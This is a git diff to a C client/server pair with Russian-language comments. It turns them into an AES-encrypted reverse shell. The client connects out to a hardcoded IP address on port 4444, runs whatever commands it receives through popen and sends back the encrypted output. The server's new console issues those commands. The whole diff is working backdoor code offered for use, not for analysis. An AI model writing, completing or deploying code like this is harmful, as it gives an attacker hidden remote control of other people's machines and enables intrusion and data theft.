diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f2ad853 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +client +server diff --git a/client.c b/client.c index 905c807..b9655d3 100644 --- a/client.c +++ b/client.c @@ -5,8 +5,8 @@ #include #include #include -#include #include +#include #define SERVER_IP "212.113.119.5" #define PORT 4444 @@ -27,42 +27,42 @@ void generate_aes_key() { } } -void encrypt_data(unsigned char *plaintext, unsigned char *ciphertext) { +int encrypt_data(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) { EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); int len, ciphertext_len; - unsigned char iv[AES_BLOCK_SIZE] = {0}; EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); - EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, strlen((char *)plaintext)); + EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len); ciphertext_len = len; EVP_EncryptFinal_ex(ctx, ciphertext + len, &len); ciphertext_len += len; EVP_CIPHER_CTX_free(ctx); + return ciphertext_len; } -void decrypt_data(unsigned char *ciphertext, unsigned char *plaintext) { +int decrypt_data(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) { EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); int len, plaintext_len; - unsigned char iv[AES_BLOCK_SIZE] = {0}; EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); - EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, strlen((char *)ciphertext)); + EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len); plaintext_len = len; EVP_DecryptFinal_ex(ctx, plaintext + len, &len); plaintext_len += len; plaintext[plaintext_len] = '\0'; EVP_CIPHER_CTX_free(ctx); + return plaintext_len; } int main() { generate_aes_key(); - printf("[+] AES-ключ клиента сгенерирован\n"); int sock; struct sockaddr_in server; unsigned char buffer[1024], encrypted[1024], decrypted[1024]; + unsigned char iv[AES_BLOCK_SIZE] = {0}; // IV для шифрования sock = socket(AF_INET, SOCK_STREAM, 0); server.sin_family = AF_INET; @@ -70,20 +70,28 @@ int main() { server.sin_port = htons(PORT); if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { - close(sock); - return 1; + perror("[-] Не удалось подключиться"); + exit(1); } + printf("[+] Подключено к серверу %s:%d\n", SERVER_IP, PORT); + while (1) { - printf("Shell> "); - fgets(buffer, sizeof(buffer), stdin); + int recv_len = recv(sock, encrypted, sizeof(encrypted), 0); + int decrypted_len = decrypt_data(encrypted, recv_len, key, iv, decrypted); - encrypt_data(buffer, encrypted); - send(sock, encrypted, sizeof(encrypted), 0); + FILE *fp = popen((char *)decrypted, "r"); + if (fp == NULL) { + perror("[-] Ошибка выполнения команды"); + exit(1); + } - recv(sock, encrypted, sizeof(encrypted), 0); - decrypt_data(encrypted, decrypted); - printf("%s\n", decrypted); + fread(buffer, 1, sizeof(buffer) - 1, fp); + pclose(fp); + buffer[strlen((char *)buffer)] = '\0'; + + int encrypted_len = encrypt_data(buffer, strlen((char *)buffer), key, iv, encrypted); + send(sock, encrypted, encrypted_len, 0); } close(sock); diff --git a/server.c b/server.c index b1a5ccd..a4b4c0a 100644 --- a/server.c +++ b/server.c @@ -5,8 +5,8 @@ #include #include #include -#include #include +#include #define PORT 4444 #define AES_KEY_SIZE 16 @@ -19,7 +19,6 @@ void generate_aes_key() { char buffer[256]; if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) { pclose(fp); - printf("[-] Не удалось получить UUID, используем случайный ключ\n"); RAND_bytes(key, AES_KEY_SIZE); } else { pclose(fp); @@ -27,43 +26,43 @@ void generate_aes_key() { } } -void encrypt_data(unsigned char *plaintext, unsigned char *ciphertext) { +int encrypt_data(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) { EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); int len, ciphertext_len; - unsigned char iv[AES_BLOCK_SIZE] = {0}; EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); - EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, strlen((char *)plaintext)); + EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len); ciphertext_len = len; EVP_EncryptFinal_ex(ctx, ciphertext + len, &len); ciphertext_len += len; EVP_CIPHER_CTX_free(ctx); + return ciphertext_len; } -void decrypt_data(unsigned char *ciphertext, unsigned char *plaintext) { +int decrypt_data(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) { EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); int len, plaintext_len; - unsigned char iv[AES_BLOCK_SIZE] = {0}; EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); - EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, strlen((char *)ciphertext)); + EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len); plaintext_len = len; EVP_DecryptFinal_ex(ctx, plaintext + len, &len); plaintext_len += len; plaintext[plaintext_len] = '\0'; EVP_CIPHER_CTX_free(ctx); + return plaintext_len; } int main() { generate_aes_key(); - printf("[+] AES-ключ сервера сгенерирован\n"); int server_sock, client_sock; struct sockaddr_in server, client; socklen_t client_size = sizeof(client); unsigned char buffer[1024], encrypted[1024], decrypted[1024]; + unsigned char iv[AES_BLOCK_SIZE] = {0}; // IV для шифрования server_sock = socket(AF_INET, SOCK_STREAM, 0); server.sin_family = AF_INET; @@ -78,16 +77,18 @@ int main() { printf("[+] Подключение от %s\n", inet_ntoa(client.sin_addr)); while (1) { - recv(client_sock, encrypted, sizeof(encrypted), 0); - decrypt_data(encrypted, decrypted); - printf("Команда: %s\n", decrypted); + printf("Shell> "); + fgets((char *)buffer, sizeof(buffer), stdin); - FILE *fp = popen(decrypted, "r"); - fread(buffer, 1, sizeof(buffer), fp); - pclose(fp); + // Убираем \n из команды + buffer[strcspn((char *)buffer, "\n")] = '\0'; - encrypt_data(buffer, encrypted); - send(client_sock, encrypted, sizeof(encrypted), 0); + int encrypted_len = encrypt_data(buffer, strlen((char *)buffer), key, iv, encrypted); + send(client_sock, encrypted, encrypted_len, 0); + + int recv_len = recv(client_sock, encrypted, sizeof(encrypted), 0); + int decrypted_len = decrypt_data(encrypted, recv_len, key, iv, decrypted); + printf("%s\n", decrypted); } close(client_sock);